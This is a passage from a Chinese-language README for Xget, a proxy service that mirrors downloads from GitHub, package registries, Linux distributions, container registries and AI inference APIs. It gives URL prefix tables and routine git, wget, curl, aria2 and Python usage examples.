+finalizeResponse()
}
class Security {
+addSecurityHeaders()
}
class Performance {
+monitor()
}
Worker --> AppHandler
AppHandler --> PlatformCatalog
AppHandler --> PlatformRouting
AppHandler --> Validation
AppHandler --> GitProtocol
AppHandler --> DockerProtocol
AppHandler --> AIProtocol
AppHandler --> UpstreamPipeline
AppHandler --> ResponsePipeline
AppHandler --> Security
AppHandler --> Performance
PlatformRouting --> PlatformCatalog
```
## 📖 URL 转换规则
使用预部署实例 **`xget.xi-xu.me`**
或你自己部署的实例,只需简单替换域名并添加平台前缀:
### 转换格式
| 平台 | 平台前缀 | 原始 URL 格式 | 加速 URL 格式 |
| ------------- | ----------- | ------------------------------------------------------------------- | -------------------------------------------------------------------------------- |
| GitHub | `gh` | `https://github.com/...` | `https://xget.xi-xu.me/gh/...` |
| GitHub Gist | `gist` | `https://gist.github.com/...` | `https://xget.xi-xu.me/gist/...` |
| GitLab | `gl` | `https://gitlab.com/...` | `https://xget.xi-xu.me/gl/...` |
| Gitea | `gitea` | `https://gitea.com/...` | `https://xget.xi-xu.me/gitea/...` |
| Codeberg | `codeberg` | `https://codeberg.org/...` | `https://xget.xi-xu.me/codeberg/...` |
| SourceForge | `sf` | `https://sourceforge.net/...` | `https://xget.xi-xu.me/sf/...` |
| AOSP | `aosp` | `https://android.googlesource.com/...` | `https://xget.xi-xu.me/aosp/...` |
| Hugging Face | `hf` | `https://huggingface.co/...` | `https://xget.xi-xu.me/hf/...` |
| Civitai | `civitai` | `https://civitai.com/...` | `https://xget.xi-xu.me/civitai/...` |
| npm | `npm` | `https://registry.npmjs.org/...` | `https://xget.xi-xu.me/npm/...` |
| PyPI | `pypi` | `https://pypi.org/...` | `https://xget.xi-xu.me/pypi/...` |
| conda | `conda` | `https://repo.anaconda.com/...` 和 `https://conda.anaconda.org/...` | `https://xget.xi-xu.me/conda/...` 和 `https://xget.xi-xu.me/conda/community/...` |
| Maven | `maven` | `https://repo1.maven.org/...` | `https://xget.xi-xu.me/maven/...` |
| Apache | `apache` | `https://downloads.apache.org/...` | `https://xget.xi-xu.me/apache/...` |
| Gradle | `gradle` | `https://plugins.gradle.org/...` | `https://xget.xi-xu.me/gradle/...` |
| Homebrew | `homebrew` | `https://github.com/Homebrew/...` | `https://xget.xi-xu.me/homebrew/...` |
| RubyGems | `rubygems` | `https://rubygems.org/...` | `https://xget.xi-xu.me/rubygems/...` |
| CRAN | `cran` | `https://cran.r-project.org/...` | `https://xget.xi-xu.me/cran/...` |
| CPAN | `cpan` | `https://www.cpan.org/...` | `https://xget.xi-xu.me/cpan/...` |
| CTAN | `ctan` | `https://tug.ctan.org/...` | `https://xget.xi-xu.me/ctan/...` |
| Go 模块 | `golang` | `https://proxy.golang.org/...` | `https://xget.xi-xu.me/golang/...` |
| NuGet | `nuget` | `https://api.nuget.org/...` | `https://xget.xi-xu.me/nuget/...` |
| Rust Crates | `crates` | `https://crates.io/...` | `https://xget.xi-xu.me/crates/...` |
| Packagist | `packagist` | `https://repo.packagist.org/...` | `https://xget.xi-xu.me/packagist/...` |
| Flathub | `flathub` | `https://dl.flathub.org/...` | `https://xget.xi-xu.me/flathub/...` |
| Debian | `debian` | `https://deb.debian.org/...` | `https://xget.xi-xu.me/debian/...` |
| Ubuntu | `ubuntu` | `https://archive.ubuntu.com/...` | `https://xget.xi-xu.me/ubuntu/...` |
| Fedora | `fedora` | `https://dl.fedoraproject.org/...` | `https://xget.xi-xu.me/fedora/...` |
| Rocky Linux | `rocky` | `https://download.rockylinux.org/...` | `https://xget.xi-xu.me/rocky/...` |
| openSUSE | `opensuse` | `https://download.opensuse.org/...` | `https://xget.xi-xu.me/opensuse/...` |
| Arch Linux | `arch` | `https://geo.mirror.pkgbuild.com/...` | `https://xget.xi-xu.me/arch/...` |
| arXiv | `arxiv` | `https://arxiv.org/...` | `https://xget.xi-xu.me/arxiv/...` |
| F-Droid | `fdroid` | `https://f-droid.org/...` | `https://xget.xi-xu.me/fdroid/...` |
| Jenkins 插件 | `jenkins` | `https://updates.jenkins.io/...` | `https://xget.xi-xu.me/jenkins/...` |
| 容器注册表 | `cr` | 见[容器注册表](#容器注册表) | 见[容器注册表](#容器注册表) |
| AI 推理提供商 | `ip` | 见 [AI 推理提供商](#ai-推理提供商) | 见 [AI 推理提供商](#ai-推理提供商) |
### 各平台转换示例
#### GitHub
```url
# 原始 URL
https://github.com/microsoft/vscode/archive/refs/heads/main.zip
# 转换后(添加 gh 前缀)
https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
```
#### GitHub Gist
```url
# 原始 URL
https://gist.github.com/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md
# 转换后(添加 gist 前缀)
https://xget.xi-xu.me/gist/xixu-me/e2ea9db6b1f143892495f796fef18631/raw/3b8807172ee492d0da3a7e370b0fb88fc97b53e6/Free-ChatGPT-Paid-Plan.md
```
#### GitLab
```url
# 原始 URL
https://gitlab.com/gitlab-org/gitlab/-/archive/master/gitlab-master.zip
# 转换后(添加 gl 前缀)
https://xget.xi-xu.me/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip
```
#### Gitea
```url
# 原始 URL
https://gitea.com/gitea/gitea/archive/master.zip
# 转换后(添加 gitea 前缀)
https://xget.xi-xu.me/gitea/gitea/gitea/archive/master.zip
```
#### Codeberg
```url
# 原始 URL
https://codeberg.org/forgejo/forgejo/archive/forgejo.zip
# 转换后(添加 codeberg 前缀)
https://xget.xi-xu.me/codeberg/forgejo/forgejo/archive/forgejo.zip
```
#### SourceForge
```url
# 原始 URL
https://sourceforge.net/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download
# 转换后(添加 sf 前缀)
https://xget.xi-xu.me/sf/projects/sevenzip/files/7-Zip/23.01/7z2301-x64.exe/download
```
#### AOSP (Android 开源项目)
```url
# AOSP 项目原始 URL
https://android.googlesource.com/platform/frameworks/base
# 转换后(添加 aosp 前缀)
https://xget.xi-xu.me/aosp/platform/frameworks/base
# AOSP 设备树原始 URL
https://android.googlesource.com/device/google/pixel
# 转换后(添加 aosp 前缀)
https://xget.xi-xu.me/aosp/device/google/pixel
```
#### Hugging Face
```url
# 模型文件原始 URL
https://huggingface.co/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin
# 转换后(添加 hf 前缀)
https://xget.xi-xu.me/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin
# 数据集文件原始 URL
https://huggingface.co/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet
# 转换后(添加 hf 前缀)
https://xget.xi-xu.me/hf/datasets/rajpurkar/squad/resolve/main/plain_text/train-00000-of-00001.parquet
```
#### Civitai
```url
# AI 模型下载原始 URL
https://civitai.com/api/download/models/128713
# 转换后(添加 civitai 前缀)
https://xget.xi-xu.me/civitai/api/download/models/128713
# 模型 API 原始 URL
https://civitai.com/api/v1/models/7240
# 转换后(添加 civitai 前缀)
https://xget.xi-xu.me/civitai/api/v1/models/7240
# 模型版本 API 原始 URL
https://civitai.com/api/v1/model-versions/128713
# 转换后(添加 civitai 前缀)
https://xget.xi-xu.me/civitai/api/v1/model-versions/128713
```
#### npm
```url
# 包文件原始 URL
https://registry.npmjs.org/react/-/react-18.2.0.tgz
# 转换后(添加 npm 前缀)
https://xget.xi-xu.me/npm/react/-/react-18.2.0.tgz
# 包元数据原始 URL
https://registry.npmjs.org/lodash
# 转换后(添加 npm 前缀)
https://xget.xi-xu.me/npm/lodash
```
#### PyPI
```url
# Python 包文件原始 URL
https://pypi.org/packages/source/r/requests/requests-2.31.0.tar.gz
# 转换后(添加 pypi 前缀)
https://xget.xi-xu.me/pypi/packages/source/r/requests/requests-2.31.0.tar.gz
# Wheel 文件原始 URL
https://pypi.org/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl
# 转换后(添加 pypi 前缀)
https://xget.xi-xu.me/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl
```
#### conda
```url
# 默认频道包文件原始 URL
https://repo.anaconda.com/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda
# 转换后(添加 conda 前缀)
https://xget.xi-xu.me/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda
# 社区频道元数据原始 URL
https://conda.anaconda.org/conda-forge/linux-64/repodata.json
# 转换后(添加 conda/community 前缀)
https://xget.xi-xu.me/conda/community/conda-forge/linux-64/repodata.json
```
#### Maven
```url
# Maven 中央存储库 JAR 文件原始 URL
https://repo1.maven.org/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar
# 转换后(添加 maven 前缀)
https://xget.xi-xu.me/maven/maven2/org/springframework/spring-core/5.3.21/spring-core-5.3.21.jar
# Maven 元数据原始 URL
https://repo1.maven.org/maven2/org/apache/commons/commons-lang3/maven-metadata.xml
# 转换后(添加 maven 前缀)
https://xget.xi-xu.me/maven/maven2/org/apache/commons/commons-lang3/maven-metadata.xml
```
#### Apache 软件下载
```url
# Apache 软件下载原始 URL
https://downloads.apache.org/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# 转换后(添加 apache 前缀)
https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz
# Apache Maven 下载原始 URL
https://downloads.apache.org/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# 转换后(添加 apache 前缀)
https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz
# Apache Spark 下载原始 URL
https://downloads.apache.org/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
# 转换后(添加 apache 前缀)
https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz
```
#### Gradle
```url
# Gradle 插件门户 JAR 文件原始 URL
https://plugins.gradle.org/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar
# 转换后(添加 gradle 前缀)
https://xget.xi-xu.me/gradle/m2/org/gradle/gradle-hello-world-plugin/0.2/gradle-hello-world-plugin-0.2.jar
# Gradle 插件元数据原始 URL
https://plugins.gradle.org/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module
# 转换后(添加 gradle 前缀)
https://xget.xi-xu.me/gradle/m2/com/github/ben-manes/gradle-versions-plugin/0.51.0/gradle-versions-plugin-0.51.0.module
```
#### Homebrew
```url
# Homebrew 公式存储库原始 URL
https://github.com/Homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb
# 转换后(添加 homebrew 前缀)
https://xget.xi-xu.me/homebrew/homebrew-core/raw/HEAD/Formula/g/git.rb
# Homebrew API 原始 URL
https://formulae.brew.sh/api/formula/git.json
# 转换后(添加 homebrew/api 前缀)
https://xget.xi-xu.me/homebrew/api/formula/git.json
# Homebrew Bottles 原始 URL
https://ghcr.io/v2/homebrew/core/git/manifests/2.39.0
# 转换后(添加 homebrew/bottles 前缀)
https://xget.xi-xu.me/homebrew/bottles/v2/homebrew/core/git/manifests/2.39.0
```
#### RubyGems
```url
# RubyGems 包文件原始 URL
https://rubygems.org/gems/rails-7.0.4.gem
# 转换后(添加 rubygems 前缀)
https://xget.xi-xu.me/rubygems/gems/rails-7.0.4.gem
# RubyGems API 原始 URL
https://rubygems.org/api/v1/gems/nokogiri.json
# 转换后(添加 rubygems 前缀)
https://xget.xi-xu.me/rubygems/api/v1/gems/nokogiri.json
```
#### CRAN
```url
# CRAN 包文件原始 URL
https://cran.r-project.org/src/contrib/ggplot2_3.5.2.tar.gz
# 转换后(添加 cran 前缀)
https://xget.xi-xu.me/cran/src/contrib/ggplot2_3.5.2.tar.gz
# CRAN 包元数据原始 URL
https://cran.r-project.org/web/packages/dplyr/DESCRIPTION
# 转换后(添加 cran 前缀)
https://xget.xi-xu.me/cran/web/packages/dplyr/DESCRIPTION
```
#### CPAN (Perl 包管理)
```url
# CPAN 模块原始 URL
https://www.cpan.org/modules/by-module/DBI/DBI-1.643.tar.gz
# 转换后(添加 cpan 前缀)
https://xget.xi-xu.me/cpan/modules/by-module/DBI/DBI-1.643.tar.gz
# CPAN 作者包原始 URL
https://www.cpan.org/authors/id/T/TI/TIMB/DBI-1.643.tar.gz
# 转换后(添加 cpan 前缀)
https://xget.xi-xu.me/cpan/authors/id/T/TI/TIMB/DBI-1.643.tar.gz
```
#### CTAN (TeX/LaTeX 包管理)
```url
# CTAN 包文件原始 URL
https://tug.ctan.org/tex-archive/macros/latex/contrib/beamer.zip
# 转换后(添加 ctan 前缀)
https://xget.xi-xu.me/ctan/tex-archive/macros/latex/contrib/beamer.zip
# CTAN 字体文件原始 URL
https://tug.ctan.org/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk
# 转换后(添加 ctan 前缀)
https://xget.xi-xu.me/ctan/tex-archive/fonts/cm/pk/ljfour/public/cm/dpi600/cmr10.pk
```
#### Go 模块
```url
# Go 模块代理原始 URL
https://proxy.golang.org/github.com/gin-gonic/gin/@v/v1.9.1.zip
# 转换后(添加 golang 前缀)
https://xget.xi-xu.me/golang/github.com/gin-gonic/gin/@v/v1.9.1.zip
# Go 模块信息原始 URL
https://proxy.golang.org/github.com/gorilla/mux/@v/list
# 转换后(添加 golang 前缀)
https://xget.xi-xu.me/golang/github.com/gorilla/mux/@v/list
```
#### NuGet
```url
# NuGet 包下载原始 URL
https://api.nuget.org/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg
# 转换后(添加 nuget 前缀)
https://xget.xi-xu.me/nuget/v3-flatcontainer/newtonsoft.json/13.0.3/newtonsoft.json.13.0.3.nupkg
# NuGet 包元数据原始 URL
https://api.nuget.org/v3/registration5-semver1/microsoft.aspnetcore.app/index.json
# 转换后(添加 nuget 前缀)
https://xget.xi-xu.me/nuget/v3/registration5-semver1/microsoft.aspnetcore.app/index.json
```
#### Rust Crates
```url
# Crate 下载原始 URL
https://crates.io/api/v1/crates/serde/1.0.0/download
# 转换后(添加 crates 前缀)
https://xget.xi-xu.me/crates/serde/1.0.0/download
# Crate 元数据原始 URL
https://crates.io/api/v1/crates/serde
# 转换后(添加 crates 前缀)
https://xget.xi-xu.me/crates/serde
# Crate 搜索原始 URL
https://crates.io/api/v1/crates?q=serde
# 转换后(添加 crates 前缀)
https://xget.xi-xu.me/crates/?q=serde
```
#### Packagist
```url
# Packagist 包元数据原始 URL
https://repo.packagist.org/p2/symfony/console.json
# 转换后(添加 packagist 前缀)
https://xget.xi-xu.me/packagist/p2/symfony/console.json
# Packagist 包列表原始 URL
https://repo.packagist.org/packages/list.json
# 转换后(添加 packagist 前缀)
https://xget.xi-xu.me/packagist/packages/list.json
```
#### Flathub
```url
# Flathub 存储库原始 URL
https://dl.flathub.org/repo/summary
# 转换后(添加 flathub 前缀)
https://xget.xi-xu.me/flathub/repo/summary
# Flathub 应用引用原始 URL
https://dl.flathub.org/repo/appstream/org.gnome.gedit.flatpakref
# 转换后(添加 flathub 前缀)
https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref
```
#### Linux 发行版
```url
# Debian 包原始 URL
https://deb.debian.org/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb
# 转换后(添加 debian 前缀)
https://xget.xi-xu.me/debian/debian/pool/main/c/curl/curl_7.88.1-10+deb12u4_amd64.deb
# Ubuntu 包原始 URL
https://archive.ubuntu.com/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb
# 转换后(添加 ubuntu 前缀)
https://xget.xi-xu.me/ubuntu/ubuntu/pool/main/g/git/git_2.34.1-1ubuntu1.9_amd64.deb
# Fedora 包原始 URL
https://dl.fedoraproject.org/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm
# 转换后(添加 fedora 前缀)
https://xget.xi-xu.me/fedora/pub/fedora/linux/releases/39/Everything/x86_64/os/Packages/n/nginx-1.24.0-1.fc39.x86_64.rpm
# Rocky Linux 包原始 URL
https://download.rockylinux.org/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm
# 转换后(添加 rocky 前缀)
https://xget.xi-xu.me/rocky/pub/rocky/9/BaseOS/x86_64/os/Packages/b/bash-5.1.8-6.el9.x86_64.rpm
# openSUSE 包原始 URL
https://download.opensuse.org/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm
# 转换后(添加 opensuse 前缀)
https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm
# Arch Linux 包原始 URL
https://geo.mirror.pkgbuild.com/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst
# 转换后(添加 arch 前缀)
https://xget.xi-xu.me/arch/core/os/x86_64/linux-6.6.10.arch1-1-x86_64.pkg.tar.zst
```
#### arXiv
```url
# arXiv 论文 PDF 原始 URL
https://arxiv.org/pdf/2301.07041.pdf
# 转换后(添加 arxiv 前缀)
https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf
# arXiv 论文源码原始 URL
https://arxiv.org/e-print/2301.07041
# 转换后(添加 arxiv 前缀)
https://xget.xi-xu.me/arxiv/e-print/2301.07041
```
#### F-Droid
```url
# F-Droid 应用 APK 原始 URL
https://f-droid.org/repo/org.fdroid.fdroid_1016050.apk
# 转换后(添加 fdroid 前缀)
https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk
# F-Droid 应用元数据原始 URL
https://f-droid.org/api/v1/packages/org.fdroid.fdroid
# 转换后(添加 fdroid 前缀)
https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid
```
#### Jenkins 插件
```url
# Jenkins 更新中心原始 URL
https://updates.jenkins.io/update-center.json
# 转换后(添加 jenkins 前缀)
https://xget.xi-xu.me/jenkins/update-center.json
# Jenkins 插件下载原始 URL
https://updates.jenkins.io/download/plugins/maven-plugin/3.27/maven-plugin.hpi
# 转换后(添加 jenkins 前缀)
https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi
```
#### 容器注册表
Xget 支持多个容器注册表,使用 `cr/[容器注册表前缀]` 格式:
| 容器注册表 | 容器注册表前缀 | 原始 URL 格式 | 加速 URL 格式 |
| ------------------------ | -------------- | ------------------------------------------- | ------------------------------------------- |
| Docker Hub | `docker` | `https://registry-1.docker.io/...` | `https://xget.xi-xu.me/cr/docker/...` |
| Quay.io | `quay` | `https://quay.io/...` | `https://xget.xi-xu.me/cr/quay/...` |
| 谷歌容器注册表 | `gcr` | `https://gcr.io/...` | `https://xget.xi-xu.me/cr/gcr/...` |
| 微软容器注册表 | `mcr` | `https://mcr.microsoft.com/...` | `https://xget.xi-xu.me/cr/mcr/...` |
| 亚马逊公共弹性容器注册表 | `ecr` | `https://public.ecr.aws/...` | `https://xget.xi-xu.me/cr/ecr/...` |
| GitHub 容器注册表 | `ghcr` | `https://ghcr.io/...` | `https://xget.xi-xu.me/cr/ghcr/...` |
| GitLab 容器注册表 | `gitlab` | `https://registry.gitlab.com/...` | `https://xget.xi-xu.me/cr/gitlab/...` |
| 红帽注册表 | `redhat` | `https://registry.redhat.io/...` | `https://xget.xi-xu.me/cr/redhat/...` |
| 甲骨文容器注册表 | `oracle` | `https://container-registry.oracle.com/...` | `https://xget.xi-xu.me/cr/oracle/...` |
| Cloudsmith | `cloudsmith` | `https://docker.cloudsmith.io/...` | `https://xget.xi-xu.me/cr/cloudsmith/...` |
| DigitalOcean 注册表 | `digitalocean` | `https://registry.digitalocean.com/...` | `https://xget.xi-xu.me/cr/digitalocean/...` |
| VMware 注册表 | `vmware` | `https://projects.registry.vmware.com/...` | `https://xget.xi-xu.me/cr/vmware/...` |
| Kubernetes 注册表 | `k8s` | `https://registry.k8s.io/...` | `https://xget.xi-xu.me/cr/k8s/...` |
| Heroku 注册表 | `heroku` | `https://registry.heroku.com/...` | `https://xget.xi-xu.me/cr/heroku/...` |
| SUSE 注册表 | `suse` | `https://registry.suse.com/...` | `https://xget.xi-xu.me/cr/suse/...` |
| openSUSE 注册表 | `opensuse` | `https://registry.opensuse.org/...` | `https://xget.xi-xu.me/cr/opensuse/...` |
| Gitpod 注册表 | `gitpod` | `https://registry.gitpod.io/...` | `https://xget.xi-xu.me/cr/gitpod/...` |
```url
# Docker Hub 原始 URL(官方镜像)
https://registry-1.docker.io/v2/library/nginx/manifests/latest
# 转换后(添加 cr/docker 前缀)
https://xget.xi-xu.me/cr/docker/v2/nginx/manifests/latest
# Docker Hub 原始 URL(用户镜像)
https://registry-1.docker.io/v2/nginxinc/nginx-unprivileged/manifests/latest
# 转换后(添加 cr/docker 前缀)
https://xget.xi-xu.me/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest
# GitHub 容器注册表原始 URL
https://ghcr.io/v2/nginxinc/nginx-unprivileged/manifests/latest
# 转换后(添加 cr/ghcr 前缀)
https://xget.xi-xu.me/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest
# 谷歌容器注册表原始 URL
https://gcr.io/v2/distroless/base/manifests/latest
# 转换后(添加 cr/gcr 前缀)
https://xget.xi-xu.me/cr/gcr/v2/distroless/base/manifests/latest
```
应用场景见[容器镜像加速](#容器镜像加速)。
#### AI 推理提供商
Xget 支持众多主流 AI 推理提供商的 API 加速,使用 `ip/[AI 推理提供商前缀]` 格式:
| AI 推理提供商 | AI 推理提供商前缀 | 原始 URL 格式 | 加速 URL 格式 |
| -------------- | ----------------- | ----------------------------------------------- | -------------------------------------------- |
| OpenAI | `openai` | `https://api.openai.com/...` | `https://xget.xi-xu.me/ip/openai/...` |
| Anthropic | `anthropic` | `https://api.anthropic.com/...` | `https://xget.xi-xu.me/ip/anthropic/...` |
| Gemini | `gemini` | `https://generativelanguage.googleapis.com/...` | `https://xget.xi-xu.me/ip/gemini/...` |
| Vertex AI | `vertexai` | `https://aiplatform.googleapis.com/...` | `https://xget.xi-xu.me/ip/vertexai/...` |
| Cohere | `cohere` | `https://api.cohere.ai/...` | `https://xget.xi-xu.me/ip/cohere/...` |
| Mistral AI | `mistralai` | `https://api.mistral.ai/...` | `https://xget.xi-xu.me/ip/mistralai/...` |
| xAI | `xai` | `https://api.x.ai/...` | `https://xget.xi-xu.me/ip/xai/...` |
| GitHub 模型 | `githubmodels` | `https://models.github.ai/...` | `https://xget.xi-xu.me/ip/githubmodels/...` |
| NVIDIA API | `nvidiaapi` | `https://integrate.api.nvidia.com/...` | `https://xget.xi-xu.me/ip/nvidiaapi/...` |
| Perplexity | `perplexity` | `https://api.perplexity.ai/...` | `https://xget.xi-xu.me/ip/perplexity/...` |
| Groq | `groq` | `https://api.groq.com/...` | `https://xget.xi-xu.me/ip/groq/...` |
| Cerebras | `cerebras` | `https://api.cerebras.ai/...` | `https://xget.xi-xu.me/ip/cerebras/...` |
| SambaNova | `sambanova` | `https://api.sambanova.ai/...` | `https://xget.xi-xu.me/ip/sambanova/...` |
| Siray | `siray` | `https://api.siray.ai/...` | `https://xget.xi-xu.me/ip/siray/...` |
| HF Inference | `huggingface` | `https://router.huggingface.co/...` | `https://xget.xi-xu.me/ip/huggingface/...` |
| Together | `together` | `https://api.together.xyz/...` | `https://xget.xi-xu.me/ip/together/...` |
| Replicate | `replicate` | `https://api.replicate.com/...` | `https://xget.xi-xu.me/ip/replicate/...` |
| Fireworks | `fireworks` | `https://api.fireworks.ai/...` | `https://xget.xi-xu.me/ip/fireworks/...` |
| Nebius | `nebius` | `https://api.studio.nebius.ai/...` | `https://xget.xi-xu.me/ip/nebius/...` |
| Jina | `jina` | `https://api.jina.ai/...` | `https://xget.xi-xu.me/ip/jina/...` |
| Voyage AI | `voyageai` | `https://api.voyageai.com/...` | `https://xget.xi-xu.me/ip/voyageai/...` |
| Fal AI | `falai` | `https://fal.run/...` | `https://xget.xi-xu.me/ip/falai/...` |
| Novita | `novita` | `https://api.novita.ai/...` | `https://xget.xi-xu.me/ip/novita/...` |
| Burncloud | `burncloud` | `https://ai.burncloud.com/...` | `https://xget.xi-xu.me/ip/burncloud/...` |
| OpenRouter | `openrouter` | `https://openrouter.ai/...` | `https://xget.xi-xu.me/ip/openrouter/...` |
| Poe | `poe` | `https://api.poe.com/...` | `https://xget.xi-xu.me/ip/poe/...` |
| Featherless AI | `featherlessai` | `https://api.featherless.ai/...` | `https://xget.xi-xu.me/ip/featherlessai/...` |
| Hyperbolic | `hyperbolic` | `https://api.hyperbolic.xyz/...` | `https://xget.xi-xu.me/ip/hyperbolic/...` |
```url
# OpenAI API 原始 URL
https://api.openai.com/v1/chat/completions
# 转换后(添加 ip/openai 前缀)
https://xget.xi-xu.me/ip/openai/v1/chat/completions
# Claude API 原始 URL
https://api.anthropic.com/v1/messages
# 转换后(添加 ip/anthropic 前缀)
https://xget.xi-xu.me/ip/anthropic/v1/messages
# Gemini API 原始 URL
https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent
# 转换后(添加 ip/gemini 前缀)
https://xget.xi-xu.me/ip/gemini/v1beta/models/gemini-2.5-flash:generateContent
# HF Inference API 原始 URL
https://router.huggingface.co/hf-inference/models/openai/whisper-large-v3
# 转换后(添加 ip/huggingface 前缀)
https://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3
```
应用场景见 [AI 推理 API 加速](#ai-推理-api-加速)。
## 🎯 应用场景
### Git 操作与配置
#### Git 操作
```bash
# 克隆存储库
git clone https://xget.xi-xu.me/gh/microsoft/vscode.git
# 克隆指定分支
git clone -b main https://xget.xi-xu.me/gh/facebook/react.git
# 浅克隆(仅最新提交)
git clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git
# 克隆 GitLab 存储库
git clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git
# 克隆 Gitea 存储库
git clone https://xget.xi-xu.me/gitea/gitea/gitea.git
# 克隆 Codeberg 存储库
git clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git
# 克隆 SourceForge 存储库
git clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git
# 克隆 AOSP 存储库
git clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git
# 添加远程存储库
git remote add upstream https://xget.xi-xu.me/gh/[所有者]/[存储库].git
# 拉取更新
git pull https://xget.xi-xu.me/gh/microsoft/vscode.git main
# 子模块递归克隆
git clone --recursive https://xget.xi-xu.me/gh/[用户名]/[带子模块的存储库].git
```
#### Git 全局加速配置
```bash
# 为特定域名配置 Git 使用 Xget
git config --global url."https://xget.xi-xu.me/gh/".insteadOf "https://github.com/"
git config --global url."https://xget.xi-xu.me/gl/".insteadOf "https://gitlab.com/"
git config --global url."https://xget.xi-xu.me/gitea/".insteadOf "https://gitea.com/"
git config --global url."https://xget.xi-xu.me/codeberg/".insteadOf "https://codeberg.org/"
git config --global url."https://xget.xi-xu.me/sf/".insteadOf "https://sourceforge.net/"
git config --global url."https://xget.xi-xu.me/aosp/".insteadOf "https://android.googlesource.com/"
# 验证配置
git config --global --get-regexp url
# 现在所有相关平台的 git clone 都会自动使用 Xget
git clone https://github.com/microsoft/vscode.git # 自动转换为 Xget URL
git clone https://gitlab.com/gitlab-org/gitlab.git # 自动转换为 Xget URL
git clone https://codeberg.org/forgejo/forgejo.git # 自动转换为 Xget URL
git clone https://android.googlesource.com/platform/frameworks/base.git # 自动转换为 Xget URL
```
### 主流下载工具集成
#### wget 下载
```bash
# 下载单个文件
wget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
# 断点续传
wget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin
# 批量下载
wget -i urls.txt # urls.txt 包含多个 Xget URL
```
#### cURL 下载
```bash
# 基本下载
curl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz
# 显示进度条
curl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin
# 设置用户代理
curl -L -H "User-Agent: MyApp/1.0" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip
```
#### aria2 多线程下载
```bash
# 多线程下载大文件
aria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin
# 断点续传
aria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip
# 批量下载配置文件
aria2c -i download-list.txt # 包含多个 Xget URL 的文件
```
### Hugging Face 镜像
```python
import os
from transformers import AutoTokenizer, AutoModelForCausalLM
# 设置环境变量,让 transformers 库自动使用 Xget 镜像
os.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf'
# 定义模型名称
model_name = 'microsoft/DialoGPT-medium'
print(f"正在从镜像下载模型: {model_name}")
# 使用 AutoModelForCausalLM 来加载对话生成模型
# 由于上面设置了环境变量,这里无需添加任何额外参数
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name)
print("模型和分词器加载成功!")
# 你现在可以使用 tokenizer 和 model 了
# 例如:
# new_user_input_ids = tokenizer.encode("Hello, how are you?", return_tensors='pt')
# chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id)
# print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True))
```
### Civitai AI 模型平台
```python
import requests
# 设置 API 基础 URL 使用 Xget
base_url = "https://xget.xi-xu.me/civitai"
